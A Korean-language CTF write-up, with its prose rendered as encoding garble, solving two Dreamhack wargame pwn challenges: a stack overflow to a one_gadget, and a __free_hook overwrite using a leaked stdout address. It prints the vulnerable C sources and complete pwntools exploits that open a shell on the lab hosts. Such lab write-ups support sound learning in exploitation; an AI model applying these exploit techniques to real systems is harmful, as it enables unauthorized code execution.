TIL: oneshot, Hook Overwrite ๐ซ
Wargame: oneshot
๋ฌธ์ ์ ์์ค ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
Vulnerability scanning
-
checksec
canary๊ฐ ์ ์ฉ๋์ด ์์ง ์์ง๋ง, ์์ค ์ฝ๋ ๋ด์
check
์ด ์ผ์ข ์ canary์ ์ญํ ์ ์ํํ๊ณ ์๋ค. stdout
์ ์ฃผ์๊ฐ ๋ ธ์ถ๋๋ค. โ one_gadget์ ์ฃผ์๋ฅผ ์ป์ ์ ์๋ค.MSG
๋ฅผ ์ ๋ ฅ๋ฐ๋ ๋ถ๋ถ์์ stack buffer overflow๊ฐ ๋ฐ์ํ๋ค. ์ฝ๋ ๋ง์ง๋ง์memset
์ ์ํดmsg
๋ด์ ๊ฐ์ ๋ชจ๋ 0์ผ๋ก ์ง์์ง์ง๋ง, buffer ๋ฐ์ผ๋ก ๋์ณ๋ ๊ฐ์ ๊ทธ๋๋ก ์ ์ง๋๋ค.
one_gadget ์ฐพ๊ธฐ
Stack frame ๊ตฌ์กฐ ํ์ ํ๊ธฐ
gdb๋ฅผ ์ด์ฉํด stack frame์ ๊ตฌ์กฐ๋ฅผ ํ์ ํ๋ฉด ์๋์ ๊ฐ์ด stack์ด ๊ตฌ์ฑ๋์ด ์์์ ์ ์ ์๋ค:
msg
-> 0x10 bytes- dummy -> 0x8 bytes
check
-> 0x8 bytes- sfp -> 0x8 bytes
- return address -> 0x8 bytes
Exploit
**main
์ return address๋ฅผ one_gadget์ ์ฃผ์๋ก overwriteํ๋ค.**
from pwn import *
p = remote("host3.dreamhack.games", 9713)
libc = ELF("./libc.so.6")
p.recvuntil("stdout: ")
libc_base = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
og = libc_base + 0x4526a
p.recvuntil("MSG: ")
payload = b"A"*(0x10 + 0x8)
payload += p64(0) # check์ด 0์ธ์ง ๊ฒ์ฌํ๋ ์ฝ๋๋ฅผ bypassํ๊ธฐ ์ํจ
payload += b"A"*0x8
payload += p64(og)
p.sendline(payload)
p.interactive()
- ์ฃผ์ํ ์ ์ผ๋ก,
libc_base
๋ฅผ ๊ตฌํ ๋ ๋นผ์ฃผ๋ ๊ฐ์libc.symbols["stdout"]
๋ก ์ ๋ ฅํ๋ฉด ์๋๋ค. gdb๋ฅผ ํตํด ์ ํํ ์ด๋ฆ์ ํ์ธํ๋ฉด"_IO_2_1_stdout_"
์ด ์ฌ์ฉ๋๊ณ ์์์ ์ ์ ์๋ค.
Wargame: hook
๋ฌธ์ ์ ์์ค ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
Vulnerability scanning
checksec
stdout
์ ์ฃผ์๊ฐ ๋ ธ์ถ๋๋ค.*(long *)*ptr = *(ptr+1);
โmalloc
์ผ๋ก ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ์ ์ฒซ ๋ฒ์งธ 8 byte์ ์ ํ ์๋ ๋ถ๋ถ์ ์ฃผ์๋ก ๋ ๋ฒ์งธ 8 byte์ ์ ํ ์๋ ๊ฐ์ ์์ฑํ๋ค. โ ์ํ๋ ์ฃผ์์ ์ํ๋ 8 byte์ ๊ฐ์ ์์ฑํ ์ ์๋ค. (key point)- ํ๋ก๊ทธ๋จ์ ๋ง์ง๋ง์
system("/bin/sh")
๊ฐ ์๋ค. ์ผ๋ฐ์ ์ธ ํ๋ก๊ทธ๋จ์ ํ๋ฆ์ผ๋ก๋free
๊ฐ ๋ ๋ฒ ์คํ๋๋ฉฐ error๊ฐ ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ ์ค์ ๋ก๋ ์คํ๋์ง ์๋๋ค.
Exploit
one_gadget ์ฐพ๋ ๊ณผ์ ์ ์์ ๋์ผํ๋ค.
from pwn import *
p = remote("host3.dreamhack.games", 21497)
libc = ELF("./libc.so.6")
p.recvuntil("stdout: ")
libc_base = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
og = libc_base + 0x4f302
p.recvuntil("Size: ")
p.sendline("16")
p.recvuntil("Data: ")
payload = p64(free_hook) + p64(og)
p.sendline(payload)
p.interactive()
- ์ ํ์ด์์๋
free_hook
์og
๋ก overwriteํ์ง๋ง,free_hook
์ ๊ทธ๋ฅret
ํ๋ gadget์ผ๋ก overwriteํ์ฌ ํ๋ก๊ทธ๋จ ๋ง์ง๋ง์ ์๋system("/bin/sh")
์ด ์คํ๋๋๋ก ํ ์๋ ์๋ค. ๊ทธ๋ฅ ROPgadget์ผ๋กret
ํ๋ gadget์ ์ฃผ์๋ฅผ ์ฐพ๊ณ , ์ด ์ฃผ์๋กfree_hook
์ overwriteํ๊ธฐ๋ง ํ๋ฉด ๋๋ค.
Leave a comment